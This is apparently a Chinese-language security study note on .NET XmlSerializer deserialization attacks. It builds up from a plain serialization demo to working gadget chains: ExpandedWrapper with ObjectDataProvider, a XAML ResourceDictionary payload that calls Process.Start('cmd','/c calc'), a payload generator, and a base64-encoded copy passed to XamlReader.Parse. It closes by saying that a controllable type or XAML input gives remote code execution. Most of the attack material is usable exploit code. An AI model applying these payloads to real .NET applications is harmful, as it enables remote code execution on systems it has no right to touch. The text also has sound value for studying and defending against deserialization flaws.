https://github.com/Y4er/dotnet-deserialization/blob/main/XmlSerializer.md

https://boogipop.com/2024/02/06/%E3%80%90.NET%20%E5%AE%89%E5%85%A8%E3%80%91ASP.NET%20XmlSerializer%20Deserialization%2002/

XmlSerializer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Xml.Serialization;

namespace XmlDeserialization
{
[XmlRoot]
public class Person
{
[XmlElement]
public int Age { get; set; }
[XmlElement]
public string Name { get; set; }
[XmlArray("Items")]
public Order[] OrderedItems;
[XmlAttribute]
public string ClassName { get; set; }
}

public class Order
{
public int OrderID;
}

class Program
{
static void Main(string[] args)
{
Person p = new Person();
p.Name = "jack";
p.Age = 12;
Order order = new Order();
order.OrderID = 123;
Order order1 = new Order();
order.OrderID = 456;
Order[] orders = new Order[] { order, order1 };
p.OrderedItems = orders;
p.ClassName = "classname";


XmlSerializer xmlSerializer = new XmlSerializer(typeof(Person));
MemoryStream memoryStream = new MemoryStream();
TextWriter writer = new StreamWriter(memoryStream);
// 序列化
xmlSerializer.Serialize(writer, p);

memoryStream.Position = 0;

// 输出xml
Console.WriteLine(Encoding.UTF8.GetString(memoryStream.ToArray()));
// 反序列化
Person p1 = (Person)xmlSerializer.Deserialize(memoryStream);
Console.WriteLine(p1.Name);
Console.ReadKey();
}
}
}

xml里的参数其实问题不大 重点是关注序列化想要的条件

  • 序列化类需要是public
  • 需要个writer 将序列化的数据写入内存流中
  • XmlSerializer 得传参进去 参数是序列化类的类型

(不加的就是以二进制的形式进行传输 就是.bin文件)

输出结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="utf-8"?>
<Person xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ClassName="classname">
<Items>
<Order>
<OrderID>456</OrderID>
</Order>
<Order>
<OrderID>0</OrderID>
</Order>
</Items>
<Age>12</Age>
<Name>jack</Name>
</Person>

他会将我们的对象Object序列化为Xml文本格式,之后反序列化的话就会转换回Person类。
上述memory流对象在序列化后position会蹦到文件的末尾,我们需要给他调整为0再进行反序列化才行

ObjectDataProvider

这个类我们在01的时候介绍过 其就是可以直接调用到Process然后执行命令

(刚开始直接用的时候会报错 得导入包才行)

image-20240224210637750

刚开始这里的时候会报错 说找不到这个包 ObjectDataProvider就是在这个里面的 所以我们要手动导入一下

image-20240224210801745

选择 PresentationFramework依赖 并且添加进去

image-20240224211000138

回到正轨上 当我们直接执行上述代码时 calc命令是能直接执行成功 但是xml内容却不会输出出来

image-20240224211145982

其实就是因为我们在初始化XmlSerializer这个类的时候 确定的类型是ObjectDataProvider

但在序列化的时候却识别不出来ObjectDataProvider 所以就会导致报错 这样的话就不能反序列化执行了

我们可以使用ExpandedWrapper类来解决这个问题

image-20240224212028497

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
using System;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Windows.Data;
using System.Xml.Serialization;
using System.Data.Services.Internal;

namespace XmlDeserialization
{
[XmlRoot]
public class Person
{
[XmlAttribute]
public string ClassName { get; set; }
public void Evil(string cmd)
{
Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c " + cmd;
process.Start();
}
}

class Program
{
static void Main(string[] args)
{
MemoryStream memoryStream = new MemoryStream();
TextWriter writer = new StreamWriter(memoryStream);
ExpandedWrapper<Person, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<Person, ObjectDataProvider>();
expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
expandedWrapper.ProjectedProperty0.MethodName = "Evil";
expandedWrapper.ProjectedProperty0.MethodParameters.Add("calc");
expandedWrapper.ProjectedProperty0.ObjectInstance = new Person();
XmlSerializer xml = new XmlSerializer(typeof(ExpandedWrapper<Person, ObjectDataProvider>));
xml.Serialize(writer, expandedWrapper);
string result = Encoding.UTF8.GetString(memoryStream.ToArray());
Console.WriteLine(result);

memoryStream.Position = 0;
xml.Deserialize(memoryStream);

Console.ReadKey();
}
}
}

其实就是拿ExpandedWrapper这个类来进行包装 本质不变 变得就是这个Person里的Evil方法是我们手动添加的 但是在实际环境中是没有这种东西的 那么接下来我们就引出ResourceDictionary这个类

(其实看到这里这里就会发现ObjectDataProvider是可以调用任意类的任意方法的)

ResourceDictionary

ResourceDictionary即资源字典,用于wpf开发,既然是wpf,肯定涉及到xaml语言。先来看利用ResourceDictionary执行命令的一个payload。

1
2
3
4
5
6
7
8
9
10
11
12
<ResourceDictionary 
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:b="clr-namespace:System;assembly=mscorlib"
xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<b:String>cmd</b:String>
<b:String>/c calc</b:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>

生成Demo(不是上诉payload的Demo 只是演示一下是咋生成的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
using System;
using System.Collections.Specialized;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Text;
using System.Windows;
using System.Windows.Data;
using System.Windows.Markup;
using System.Xml.Serialization;
namespace XmlDeserialize
{
public class Person
{
public string name = "Boogipop";
// private int age = 114;
}
public class XmlDeserialize
{
public static void Main(string[] args)
{
var objectDataProvider = new ObjectDataProvider();
var psi = new ProcessStartInfo();
psi.FileName = "calc";
psi.Arguments = "test";
// 去掉多余的环境变量
StringDictionary dict = new StringDictionary();
psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
var p = new Process();
p.StartInfo = psi;
objectDataProvider.MethodName = "Start";
objectDataProvider.MethodParameters.Add("cmd.exe");
objectDataProvider.MethodParameters.Add("/c calc.exe");
objectDataProvider.ObjectInstance = p;
var resourceDictionary = new ResourceDictionary();
resourceDictionary["a"] = objectDataProvider;
var payload = XamlWriter.Save(resourceDictionary);
Console.WriteLine(payload);
XamlReader.Parse(payload);
}
}
}

解释下这段xaml:

  1. xmlns:c 引用了System.Diagnostics命名空间起别名为c
  2. d:Key=”” 起别名为空,在xaml语法中,Key这个键值必须有。
  3. ObjectType表示对象类型
  4. d:Type 等同于typeof()
  5. MethodName是ObjectDataProvider的属性,传递一个Start等于调用Start方法。
  6. c:Process 等同于System.Diagnostics.Process

整个xaml被解析之后,等同于创建了一个ObjectDataProvider对象,该对象又会自动调用System.Diagnostics.Process.Start("cmd.exe","/c calc")

因为是xaml的语言,我们使用XamlReader.Parse()来解析它

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
using System;
using System.Text;
using System.Windows.Markup;

namespace XmlDeserialization
{
class Program
{
static void Main(string[] args)
{
//这里的base64就是上面xml的payload
string p = "PFJlc291cmNlRGljdGlvbmFyeSAKICAgICAgICAgICAgICAgICAgICB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiAKICAgICAgICAgICAgICAgICAgICB4bWxuczpkPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCIgCiAgICAgICAgICAgICAgICAgICAgeG1sbnM6Yj0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiIAogICAgICAgICAgICAgICAgICAgIHhtbG5zOmM9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+CiAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIGQ6S2V5PSIiIE9iamVjdFR5cGU9IntkOlR5cGUgYzpQcm9jZXNzfSIgTWV0aG9kTmFtZT0iU3RhcnQiPgogICAgICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4KICAgICAgICAgICAgPGI6U3RyaW5nPmNtZDwvYjpTdHJpbmc+CiAgICAgICAgICAgIDxiOlN0cmluZz4vYyBjYWxjPC9iOlN0cmluZz4KICAgICAgICA8L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPgogICAgPC9PYmplY3REYXRhUHJvdmlkZXI+CjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pg==";
byte[] vs = Convert.FromBase64String(p);
string xml = Encoding.UTF8.GetString(vs);
XmlDeserialize(xml);
Console.ReadKey();
}
public static void XmlDeserialize(string o)
{
XamlReader.Parse(o);
}
}
}

此时相当于我们利用XamlReader.Parse()进行了进一步利用,对于xmlserializer来说攻击链从原来的

  • ObjectDataProvider -> Person.Evil()

转变为

  • ObjectDataProvider -> XamlReader.Parse() -> ObjectDataProvider -> System.Diagnostics.Process.Start(“cmd.exe”,”/c calc”)

拿java来说ObjectDataProvider 更像是commons-collections的InvokerTransformer,可以调用任意类的任意方法。

总结

首先就是针对初始化时new XmlSerializer(type)的type参数,如果type可控,就可以利用ObjectDataProvider调用XamlReader的Parse进行RCE。

当然也要关注XamlReader.Parse(xml)中的xml是否可控。

这里的话我们是使用了ResourceDictionary和ExpanderWrapper去用泛型绕过类型的限制